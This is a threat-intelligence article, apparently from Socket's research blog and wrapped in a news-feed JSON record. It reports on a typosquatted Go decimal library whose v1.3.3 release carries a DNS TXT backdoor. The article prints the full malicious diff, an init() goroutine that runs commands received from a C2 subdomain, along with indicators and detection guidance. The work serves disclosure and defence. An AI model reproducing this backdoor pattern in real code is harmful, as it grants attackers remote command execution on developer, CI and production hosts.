[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fUUrFFCfEdhFSnTmpS1GXcxeRD8g2OVm1Q3p62B_IaBI":3},{"article":4,"iocs":50},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":29,"category":30,"article_tags":34},"ad3fb14f-a65b-4b05-b1c1-c2756b79fb3c","Popular Go Decimal Library Targeted by Long-Running Typosquat with DNS Backdoor","popular-go-decimal-library-targeted-by-long-running-typosquat-with-dns-backdoor-66c8b2","Socket's Threat Research Team identified a malicious Go module published as github.com\u002Fshopsprint\u002Fdecimal, a typosquat of the widely used github.com\u002Fshopspring\u002Fdecimal arbitrary precision arithmetic library. The typosquatted module has been present on the Go ecosystem since 2017-11-08 and was weaponized on 2023-08-19 when version v1.3.3 added a malicious init() function that opens a DNS TXT record command and control channel to a threat actor controlled subdomain on a free dynamic DNS provider. The GitHub repository and the shopsprint owner account have since been removed, but the malicious release remains permanently served by proxy.golang.org and listed on pkg.go.dev. Socket’s AI scanner flagging github.com\u002Fshopsprint\u002Fdecimal as known malware, and catching the DNS TXT backdoor. Quick breakdown of the threat: Typosquat of github.com\u002Fshopspring\u002Fdecimal swapping the final g for a t (shopspring to shopsprint) Eight tagged releases between 2017 and 2023, first seven non-malicious, v1.3.3 weaponized. Version v1.3.3 published 2023-08-19 contains an init() function that runs at process start with no opt-in DNS TXT record C2 beacon to dnslog-cdn-images[.]freemyip[.]com, polled every five minutes Each returned TXT value is passed directly to os\u002Fexec.Command and executed GitHub source repository deleted, owner account deleted, but the Go Module Proxy cache continues to serve the malicious version on demand to any developer who fetches the module path # github.com\u002Fshopspring\u002Fdecimal is a Go arbitrary precision fixed-point decimal library, depended on across the Go ecosystem in financial, billing, cryptocurrency, and analytics codebases because Go's native float64 cannot represent monetary values without rounding error. Public adoption signals for the typosquat are limited, but the legitimate github.com\u002Fshopspring\u002Fdecimal module has 38,634 known importers on pkg.go.dev, making it a high-value target for a single-character typosquat. The legitimate package has no network code, no process execution code, and no init() function. Its imports are limited to database\u002Fsql\u002Fdriver, encoding\u002Fbinary, fmt, math, math\u002Fbig, regexp, strconv, and strings. The typosquatted module github.com\u002Fshopsprint\u002Fdecimal preserves the entire public API and source body of shopspring\u002Fdecimal. Any project that fetches the typosquat path (most commonly through a single-letter typo in go.mod, an import statement, a go get invocation, or an autocomplete suggestion) continues to compile, pass tests, and behave correctly for arithmetic. The malicious behavior runs in a separate goroutine, never touches the decimal arithmetic code paths, and never produces user-visible output. Side-by-side pkg.go.dev listings show the typosquat (left) github.com\u002Fshopsprint\u002Fdecimal next to the legitimate (right)github.com\u002Fshopspring\u002Fdecimal. The two repository paths differ by a single character at the end of the vendor name. # The shopsprint\u002Fdecimal module was published with eight tagged versions over six years: v1.0.0 published 2017-11-08, source mirror only v1.0.1 published 2018-03-01, source mirror only v1.1.0 published 2018-07-09, source mirror only v1.2.0 published 2020-04-28, source mirror only v1.3.0 published 2021-10-13, source mirror only v1.3.1 published 2021-10-20, source mirror only v1.3.2 published 2023-08-19 09:20:28 UTC, includes legitimate bugfixes mirrored from upstream v1.3.3 published 2023-08-19 09:27:21 UTC, introduces the malicious init() function The first seven releases are non-malicious typosquat copies of the upstream shopspring\u002Fdecimal tree at the matching version. Their cadence mirrored upstream tag dates, giving the package the appearance of a maintained fork rather than an obviously staged supply chain attack. In reality, the package appears to have been a long-running typosquat that remained benign for years before being weaponized. The two malicious-window releases are seven minutes apart on the same day. v1.3.2 carries only two legitimate, low-impact bugfixes (a one-character comment typo correction and an arithmetic precision fix in Decimal.Mod) that the threat actor copied from upstream commits. v1.3.3 retains those two fixes and adds the payload. This is the trust-then-poison pattern observed in prior Go module supply chain campaigns. A benign release is shipped to establish recent activity, then the malicious release follows within minutes, ensuring that any developer who looked at the package the previous day and re-checks it on the day of poisoning sees a recent, legitimate-looking commit alongside the malicious one. The combined effect is roughly six years of benign typosquat presence followed by approximately thirty-three months of weaponized presence in the open Go module ecosystem before disclosure. How the Backdoor Triggers on Import # Three changes are spliced into decimal.go between v1.3.2 and v1.3.3: an extended import list, a malicious init() function, and a spurious main() declared inside the decimal package. The unified diff between v1.3.2 and v1.3.3 of decimal.go (from the Go Module Proxy zip artifacts) is the full payload: --- decimal.go (v1.3.2) +++ decimal.go (v1.3.3) @@ -25,6 +25,9 @@ \"regexp\" \"strconv\" \"strings\" + \"net\" + \"os\u002Fexec\" + \"time\" ) @@ -505,6 +508,25 @@ } } +func init(){ + go func(){ + + for { + records, err := net.LookupTXT(\"dnslog-cdn-images.freemyip.com\") + if err != nil { + time.Sleep(5 * time.Minute) + continue + } + for _, txt := range records { + cmd := exec.Command(txt) + cmd.CombinedOutput() + } + time.Sleep(5 * time.Minute) + } + + }() +} + \u002F\u002F Neg returns -d. @@ -1902,3 +1924,6 @@ } return y } +func main(){ + +} Three observations on the payload from this diff. Imports added. The trojanized file adds net, os\u002Fexec, and time to the import block. None are present in the upstream shopspring\u002Fdecimal source at any tagged version. A decimal arithmetic library has no documented reason to perform DNS resolution or process execution, so a side-by-side import diff against upstream is a high-precision detection heuristic on its own. init() runs the C2 loop in a background goroutine. Go's package initialization model guarantees that every init() in a package runs before main() and before any exported function of the package becomes callable, so importing the typosquatted module anywhere in a project's dependency graph is sufficient to start the loop. The goroutine survives for the lifetime of the process, polls net.LookupTXT(\"dnslog-cdn-images.freemyip.com\") every five minutes, and sleeps on DNS failure without logging or signaling an error. TXT records drive arbitrary command execution. Each TXT value returned by the C2 subdomain is passed directly to exec.Command(txt) and run via CombinedOutput(). The output is captured and discarded, and no shell metacharacters are interpreted, so each TXT must resolve to a single executable already present on the victim or staged earlier through another vector. DNS TXT is a covert channel rather than a transport: TXT lookups look like normal DNS activity to most egress controls, including environments that block outbound HTTP. The threat actor changes the TXT value through their DDNS account, and victims pick up the new command on the next five-minute tick. The appended func main(){} is anomalous and non-functional. A main function is only treated as a program entry point when its file declares package main; this file declares package decimal, so func main(){} is dead code that the Go compiler will not invoke under any normal build configuration. Its presence is best read as a development artifact left behind by the threat actor, possibly copied from a single-file Go scratchpad or generated by an AI coding assistant when scaffolding a runnable example, then never cleaned up. The signal value is that the file shows signs of sloppy authorship rather than carefully constructed library code, which is consistent with malicious provenance Command and Control Infrastructure # The single hardcoded indicator in the payload is dnslog-cdn-images[.]freemyip[.]com. VirusTotal first analyzed the subdomain on 2024-08-07 and currently returns an A record of 8.8.8.8. The 8.8.8.8 value is a decoy, pointing the subdomain at Google Public DNS so that any tooling resolving the host gets a routable address while the operator continues to drive the payload exclusively through TXT records. The infrastructure is staged but the trojanized release has not been picked up by sandboxes or automated scanners on the public observation surfaces queried. The parent domain freemyip[.]com is a free dynamic DNS service. The provider itself is legitimate. The same provider hosts a substantial volume of abusive subdomains: VirusTotal Intelligence returns at least 40 subdomains of freemyip[.]com with one or more malicious detections, including phishing pages impersonating PayPal, Sberbank, and MetaMask, a cluster of DGA-tagged hosts, and persistent C2 nodes with detection counts as high as 14 across the AV stack. None of those clusters thematically overlap with the Go supply chain target of the present trojan, which is consistent with a separate operator standing up a fresh, low-noise subdomain on a known-abused but unrestricted DDNS provider. VirusTotal Intelligence URL listing for freemyip[.]com shows a sample of abusive URLs hosted under the dynamic DNS provider, including phishing kits impersonating PayPal, Sberbank, and MetaMask, DGA-style randomized hostnames, and persistent C2 or fraud subdomains. Operational characteristics worth noting. The choice of free DDNS gives the operator full control to swap the C2 record value in seconds with no registrar friction. The parent domain's reputation is mixed (32 undetected, 60 harmless engine verdicts), which prevents bulk-blocking by reputation alone. The use of TXT records instead of A records or HTTPS traffic evades the controls most likely to fire on a developer machine, where outbound HTTP is often inspected but outbound DNS is rarely scrutinized. Go Module Proxy Persistence # The Go Module Proxy at proxy.golang.org continues to serve every published version of the module on demand, including the malicious v1.3.3, because the proxy intentionally caches module artifacts indefinitely as part of Go's reproducibility guarantee. Listing the versions returns all eight tags. Fetching the v1.3.3 zip returns the same bytes that were originally published. A developer running go get github.com\u002Fshopsprint\u002Fdecimal@v1.3.3 today receives the malicious code with no warning. The package is also listed on pkg.go.dev and resolves via standard Go tooling. This is the same persistence model abused by the boltdb-go\u002Fbolt typosquat reported by Socket in 2025, where the source repository was scrubbed but the proxy cache made the malicious release permanently fetchable for years afterward. The GitHub source code repository at https:\u002F\u002Fgithub.com\u002Fshopsprint\u002Fdecimal returns HTTP 404. The owner account at https:\u002F\u002Fgithub.com\u002Fshopsprint returns HTTP 404. The repository and the owner are both gone, presumably removed by the threat actor, by GitHub abuse response, or by an automated cleanup. The removal has no effect on the package's reachability through standard Go tooling. Impact # Every machine that imports github.com\u002Fshopsprint\u002Fdecimal at v1.3.3 and runs the resulting binary, including CI runners, developer workstations, and production hosts, executes the init() goroutine for the lifetime of the process. From that point forward the operator has on-demand command execution against the machine, gated only by the operator's willingness to publish a TXT record. Because the payload runs as the process user, the blast radius matches the privileges of whatever binary imported the package. A CLI run by a developer inherits the developer's credentials. A containerized service inherits its mounted secrets and service account. A CI job inherits its repository tokens and deployment credentials. The exec.Command(txt) form does not invoke a shell, so each TXT string must be a single absolute or PATH-resolved program name. This is not a meaningful limitation. The operator can drop a staged second-stage binary through any earlier channel (a previously executed command, a build-time file write, a separate stager package) and then trigger it by publishing its path in TXT. The operator can also point TXT at any binary already present on the system that produces useful side effects when run without arguments, including local privilege escalation utilities, package managers (to install backdoored packages), or service control tooling. Persistence is automatic for the process lifetime and reattaches on every restart of any binary that imports the module. No filesystem persistence, registry change, scheduled task, or LaunchAgent is required. The persistence mechanism is the dependency itself. The five-minute beacon and silent error handling mean an importing project can run for weeks before any operator command is delivered, with no observable artifact in process output, no entry in application logs, and no failed-DNS noise loud enough to draw attention. The thirty-three month dwell time between weaponization (2023-08-19) and disclosure puts a long upper bound on possible exposure for any project that pinned an unverified version of shopsprint\u002Fdecimal during that window. Recommendations # For Developers Audit go.mod and go.sum in every project for the import path github.com\u002Fshopsprint\u002Fdecimal. If present at any version, remove the dependency, replace with the canonical github.com\u002Fshopspring\u002Fdecimal, run go mod tidy, and rebuild. Verify every Go module path resolves to the canonical upstream repository before adding it. A single-letter difference (shopsprint versus shopspring) is the entire delta between a clean dependency and a long-lived backdoor. Audit your dependency tree for imports of net, os\u002Fexec, and time from libraries that have no documented reason to need them. A decimal math package, a slugifier, a UUID generator, or a logger has no business resolving DNS or spawning processes. If you have already built or run code that pulled github.com\u002Fshopsprint\u002Fdecimal@v1.3.3, treat the build host as compromised. Rotate any credentials accessible from that host (Git tokens, cloud keys, registry credentials, SSH keys), inspect outbound DNS traffic for the listed indicator, and rebuild from a clean toolchain. For Security Teams Add dnslog-cdn-images[.]freemyip[.]com to your DNS sinkhole and SIEM correlation rules. Alert on any internal host resolving the subdomain regardless of the answer's content. A single TXT query from a build agent or production host is a high-confidence indicator. Baseline TXT record queries from developer and CI infrastructure. TXT lookups from build hosts to free dynamic DNS providers (freemyip[.]com, duckdns[.]org, no-ip[.]com, dynu[.]net, ddns[.]net, hopto[.]org, zapto[.]org) are rare in legitimate Go toolchains and worth treating as suspicious by default. Block egress to the freemyip[.]com zone from build and production environments unless you have an explicit business justification. The provider is a documented abuse magnet. Scan internal Go module caches ($GOMODCACHE \u002F $GOPATH\u002Fpkg\u002Fmod) and any go.sum files in your source repositories for the string github.com\u002Fshopsprint\u002Fdecimal. The Go Module Proxy will continue serving the artifact indefinitely, so detection at the dependency-graph layer is the only durable control. For binary review, scan compiled Go binaries for the simultaneous presence of the shopspring\u002Fdecimal symbol fingerprint, the net.LookupTXT symbol, the os\u002Fexec.Command symbol, and any dynamic DNS hostname. The combination is rare in legitimate Go binaries and high-precision against this class of supply chain backdoor. Socket detects threats like this across the full dependency graph, including init-time supply chain payloads, dynamic DNS C2, and typosquatted forks of popular libraries, before they reach developer environments. The Socket GitHub App scans pull request dependency changes and flags init-time network or process execution before merge. The Socket CLI enforces allow and deny rules in CI pipelines. Socket Firewall blocks known malicious packages before they are fetched. The Socket browser extension surfaces risk signals while browsing public Go module pages. Socket MCP prevents AI-assisted coding workflows from introducing suspicious dependencies into your codebase. MITRE ATT&CK # T1195.002 - Compromise Software Supply Chain T1071.004 - Application Layer Protocol: DNS T1059 - Command and Scripting Interpreter T1583.001 - Acquire Infrastructure: Domains T1572 - Protocol Tunneling T1568 - Dynamic Resolution # Malicious Package github.com\u002Fshopsprint\u002Fdecimal (v1.3.3) Malicious commit hash: 2f0ee073c6f29d66188a845592029c9b52528f04 Files v1.3.3 module zip SHA-256: dd9c0268c8944e6ddf90d4d0c81aa843785b7a9ee965faa635841ed9fc0ba086 decimal.go SHA-256: 387d7ea5ca733b1e7219c943f4b461877a8df0148adfef42b1538b6c398fbb41 SHA1: fd26f4ca4746ee390e22043a5e19ebf2b7fcd1f9 MD5: e3c6ce0440d9acd0f1cef1f0da3cdb5d Network Indicators dnslog-cdn-images[.]freemyip[.]com freemyip[.]com","A malicious Go module, github.com\u002Fshopsprint\u002Fdecimal, typosquatting the popular github.com\u002Fshopspring\u002Fdecimal library, was identified. The malicious module contains a DNS TXT record command and control channel, allowing a threat actor to execute commands on compromised machines.","A malicious Go module typosquatting a popular decimal library was found with a DNS backdoor.","Research\u002FSecurity NewsMalicious NuGet Package Impersonates Sicoob SDK to Exfiltrate Banking Certificates and PasswordsA malicious NuGet package impersonating Sicoob exfiltrated client IDs, PFX passwords, and banking certificates through Sentry telemetry. By Kirill Boychenko - May 28, 2026","https:\u002F\u002Fsocket.dev\u002Fblog\u002Fpopular-go-decimal-library-typosquat-dns-backdoor?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002Ff6b8563327847f01a2ace1fa37aebe4f0ca65cad-1254x1254.png?w=1000&q=95&fit=max&auto=format","2026-05-19T17:17:00.681+00:00","2026-05-19T18:00:13.629782+00:00",9,[18,21,23,26],{"name":19,"type":20},"Go","product",{"name":22,"type":20},"decimal",{"name":24,"type":25},"GitHub","vendor",{"name":27,"type":28},"DNS","technology","26b0b636-0e31-4db1-bffb-61bdf9f20a58",{"id":29,"icon":31,"name":32,"slug":33},null,"Supply Chain","supply-chain",[35,40,45],{"category":36},{"id":37,"icon":31,"name":38,"slug":39},"89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5","Malware","malware",{"category":41},{"id":42,"icon":31,"name":43,"slug":44},"ade75414-7914-4e23-a450-48b64546ee70","Open Source","open-source",{"category":46},{"id":47,"icon":31,"name":48,"slug":49},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[51,55,58,62,65,69],{"type":52,"value":53,"context":54},"domain","dnslog-cdn-images.freemyip.com","C2 domain used by the malicious module",{"type":52,"value":56,"context":57},"freemyip.com","Free dynamic DNS provider hosting the C2 domain",{"type":59,"value":60,"context":61},"hash_sha256","dd9c0268c8944e6ddf90d4d0c81aa843785b7a9ee965faa635841ed9fc0ba086","SHA-256 hash of the malicious v1.3.3 module zip",{"type":59,"value":63,"context":64},"387d7ea5ca733b1e7219c943f4b461877a8df0148adfef42b1538b6c398fbb41","SHA-256 hash of the malicious decimal.go file",{"type":66,"value":67,"context":68},"hash_sha1","fd26f4ca4746ee390e22043a5e19ebf2b7fcd1f9","SHA1 hash of the malicious decimal.go file",{"type":70,"value":71,"context":72},"hash_md5","e3c6ce0440d9acd0f1cef1f0da3cdb5d","MD5 hash of the malicious decimal.go file"]